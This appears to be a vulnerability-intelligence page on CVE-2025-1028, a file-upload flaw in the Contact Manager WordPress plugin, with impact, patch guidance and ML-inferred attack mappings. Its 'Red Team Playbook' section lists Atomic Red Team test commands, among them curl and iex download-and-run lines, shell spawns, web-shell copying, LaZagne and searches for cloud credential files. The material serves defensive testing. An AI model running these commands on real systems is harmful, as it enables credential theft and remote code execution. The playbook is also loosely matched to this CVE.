CVE-2025-1028
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of file type validation in the contact form upload feature of the kleor Contact Manager WordPress plugin. The affected component is the contact form's file upload handler present in all versions up to and including 8.6.4. Additionally, exploitation depends on a race condition that allows bypassing the intended upload restrictions under specific timing conditions.
Vulnerability Description
The Contact Manager plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the contact form upload feature in all versions up to, and including, 8.6.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible in specific configurations where the first extension is processed over the final. This vulnerability also requires successfully exploiting a race condition in order to exploit.
Impact
An unauthenticated attacker can exploit this vulnerability remotely over the network to upload arbitrary files to the web server, potentially enabling remote code execution if server configuration prioritizes the first file extension. Exploitation requires successfully exploiting a race condition, increasing attack complexity. The impact includes unauthorized code execution, data compromise, or server takeover. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:H/PR:N/UI:N), but high attack complexity reduces exploit likelihood.
Solution
Upgrade the kleor Contact Manager WordPress plugin to version 8.6.5 or later, where the arbitrary file upload vulnerability has been fixed by implementing proper file type validation and mitigating the race condition. Refer to the WordPress plugin changelog at https://plugins.trac.wordpress.org/changeset?old_path=/contact-manager/tags/8.6.4&new_path=/contact-manager/tags/8.6.5 and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b6f51a8e-4a59-4b64-b0c6-2ce3933a1df5 for detailed patch instructions and verification steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Contact Manager plugin for WordPress stems from inadequate file type validation within its contact form upload feature. This oversight allows unauthenticated users to upload files without proper restrictions, which can lead to the execution of arbitrary code on the server. The flaw is particularly concerning because it can be exploited in configurations where the server processes the first file extension over the final one, enabling an attacker to bypass typical security measures. The presence of a race condition further complicates the exploitation, as it requires precise timing to successfully execute the attack, making it a sophisticated threat that could be leveraged by skilled adversaries.
Attack vectors for this vulnerability are primarily centered around the upload functionality of the Contact Manager plugin. An attacker could craft a malicious file, such as a PHP script disguised with a benign extension like .jpg or .png, and upload it through the contact form. Once uploaded, if the server processes the file in a manner that prioritizes the first extension, the malicious code could be executed, leading to remote code execution. Additionally, the race condition could allow an attacker to manipulate the timing of the upload process, increasing the likelihood of successful exploitation. This scenario highlights the potential for a multi-faceted attack, where both the file type validation failure and the race condition must be exploited in tandem.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. Successful exploitation could lead to unauthorized access to sensitive data, defacement of websites, or the deployment of malware that could compromise not only the affected site but also its visitors. The potential for remote code execution means that attackers could gain full control over the server, leading to severe operational disruptions, data breaches, and reputational damage. The financial implications of such incidents can be substantial, encompassing costs related to incident response, legal liabilities, and loss of customer trust.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate any weaknesses in their WordPress installations and associated plugins. Employing a web application firewall (WAF) can help filter out malicious upload attempts before they reach the server. Additionally, organizations should enforce strict file type validation on all upload features, ensuring that only expected file types are accepted and processed. It is also advisable to keep all software, including plugins and themes, updated to the latest versions to benefit from security patches and enhancements.
In conclusion, the vulnerability in the Contact Manager plugin for WordPress represents a serious threat to web applications that utilize this plugin. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Proactive detection and mitigation strategies are essential in safeguarding against exploitation, ensuring that businesses can maintain the integrity and security of their online operations. As the cyber threat landscape continues to evolve, vigilance and adaptability remain key components of an effective cybersecurity posture.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-1028 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b6f51a8e-4a59-4b64-b0c6-2ce3933a1df5?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?old_path=/contact-manager/tags/8.6.4&new_path=/contact-manager/tags/8.6.5&sfp_email=&sfph_mail= |